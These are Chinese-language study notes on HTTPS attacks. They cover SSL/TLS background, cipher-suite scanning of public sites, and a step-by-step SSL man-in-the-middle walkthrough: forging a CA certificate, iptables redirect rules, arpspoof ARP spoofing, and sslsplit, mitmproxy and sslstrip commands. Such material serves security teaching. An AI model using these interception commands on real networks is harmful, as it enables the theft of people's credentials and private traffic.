https攻击-中间人攻击

HTTPS攻击

  • 全站https正成为潮流趋势
    • 淘宝、百度
  • HTTPS的作用
    • CIA
    • 解决的是信息传输过程中数据被篡改、窃取
    • 加密:对称、非对称、单向
  • HTTPS攻击方法
    • 降级攻击
      • 将高强度算法降级为低强度算法
    • 解密攻击(明文、证书伪造)
    • 协议漏洞、https实现方法的漏洞、配置不严格

SSL(Secure socket layer)

  • 保证网络通信安全的加密协议
  • 1994年由Netscape开发成为统一标准
  • 1999年TLS(Transport Layer security)取代SSL v3
  • 近年来发现的SSL协议漏洞使业界认为其漏洞已经不可软件修复
    • Heartbleed
    • POODLE
    • BEAST
  • TLS/SSL、HTTPS、HTTP over SSL 通俗上表示同意含义
  • SSL/TLS也被用于其它场景的传输通道加密
    • 邮件传输(服务器间、客户端与服务器间)
    • 数据库服务器间
    • LDAP身份认证服务器间
    • SSL VPN
    • 远程桌面RDP通信过程中的加密和身份认证

WEB通信中的SSL加密

  • 公钥证书(受信任的第三方证书颁发机构签名颁发)
    • VeriSign
    • Thawte
    • GlobalSign
    • Symantec
  • 加密过程
      1. 握手
      2. 协商加密算法(密钥交换算法、非对称加密算法、对称加密算法、哈希算法、)
      3. 获取公钥证书
      4. 验证公钥证书
      5. 交换会话密钥
      6. 加密信息传输
  • 加密算法
    • 非对称加密算法
      • Diffie-Hellman key exchange
      • Rivest Shamir Adleman(RSA)
      • Elliptic Curve Cryptography(ECC)
    • 对称加密算法
      • Data Encryption Standard(DES)/3DES
      • Advance Encryption Standard(AES)
      • International Data Encryption Algo(IDEA)
      • Rivest Cipher 4(RC4)
        • WEP、TLS/SSL、RDP、Secure shell
    • 单向加密算法(HASH)
      • MD5
      • SHA1
      • SHA2
      • SHA3

操作

  • Openssl
    • 直接调用openssl库识别目标服务器支持的SSL/TLS cipher suite
    • 连接443端口openssl s_client -connect www.baidu.com:443
    • 看是否支持不安全的cypher suite:openssl s_client -tls1_2 -cipher 'XXXXXXXX' -connect www.baidu.com
    • 查看已知的不安全的cipher suite:openssl ciphers -v "NULL,EXPORT,LOW,DES"
      • 密钥交换、身份认证、数据加密、hash算法
      • 所有算法去ssl官网查看
  • SSLScan
    • 自动识别SSL配置错误、过期协议、过时cipher suite和hash算法
    • 默认会检查CRIME、heartbleed漏洞
    • 绿色表示安全、红色黄色需要引起注意
    • TLS支持的cipher suite
      • 查看sslscan -tlsall www.taobao.com:443
    • 分析证书详细数据
      • sslscan --show-certificate --no-ciphersuites www.taobao.com:443
  • SSLyze
    • Python编写
    • 检查SSL过时版本
    • 检查存在弱点的cipher suite
    • 支持从列表文件查询多个站点
    • 检查是否支持会话修复
    • sslyze --regular www.taobao.com:443
  • Nmap
  • ssllabs

SSL中间人攻击

攻击条件
  • 攻击者位于客户端和服务器通信链路中
    • ARP
    • DHCP
    • 修改网关
    • 修改DNS
    • 修改HOSTS
    • ICMP、STP、OSPF(同一个局域网)
  • 加密流量
  • 前提
    • 客户端已经信任伪造证书颁发机构
    • 攻击者控制了合法证书颁发机构
    • 客户端程序禁止了显示证书错误告警信息
    • 攻击者已经控制客户端,并强制其信任伪造证书
一些工具
SSLsplit
  • 透明SSL/TLS中间人攻击工具
  • 对客户端伪装成服务器,对服务器伪装成普通客户端
  • 伪装服务器需要伪造证书
  • 支持SSL/TLS加密的SMTP、POP3\FTP等通信中间人攻击

操作

  • 利用openssl生成证书私钥:openssl genrsa -out ca.key 2048

    • 不会生成公钥,因为公钥提取自私钥
  • 利用私钥签名生成证书:openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

  • 开启本机路由功能:sysctl -w net.ipv4.ip_forward=1

    • 使流经的请求可以被正常转发
    • 或者直接修改文件内容 /proc/sys/net/ipv4/ip_forward
  • iptables端口转发规则

    • 将请求到本机的ssl流量转发给sslsplit
      • iptables -L 查看当前存在的规则
      • iptables -F,清空当前所有规则
      • 先结束本机的80和443端口占用的程序
      • iptables -t nat -A PREROUTING -p tcp –dport 80 -j REDIRECT –to-ports 8080
        • 在nat表中加一个PREROUTING(路由之前生效的规则)80端口的tcp重定向到8080
      • iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-ports 8443
      • iptables -t nat -A PREROUTING -p tcp –dport 587-j REDIRECT –to-ports 8443 #MSA
      • iptables -t nat -A PREROUTING -p tcp –dport 465-j REDIRECT –to-ports 8443 #SMTPS
      • iptables -t nat -A PREROUTING -p tcp –dport 993-j REDIRECT –to-ports 8443 #IMAP
      • iptables -t nat -A PREROUTING -p tcp –dport 995 -j REDIRECT –to-ports 8443 #POP3
  • Arp欺骗

    • arpspoof -i eth0 -t 1.1.1.2 -r 1.1.1.1
  • 启动SSLsplit

    • cd ~
    • mkdir -p test/logdir
    • sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
  • Mitmproxy

    • mitmproxy -T –host -w mitmproxy.log
  • SSLStrip

    • 与前两种工具不同,将客户端到中间人之间的流量变为明文
    • sslstrip -l 8080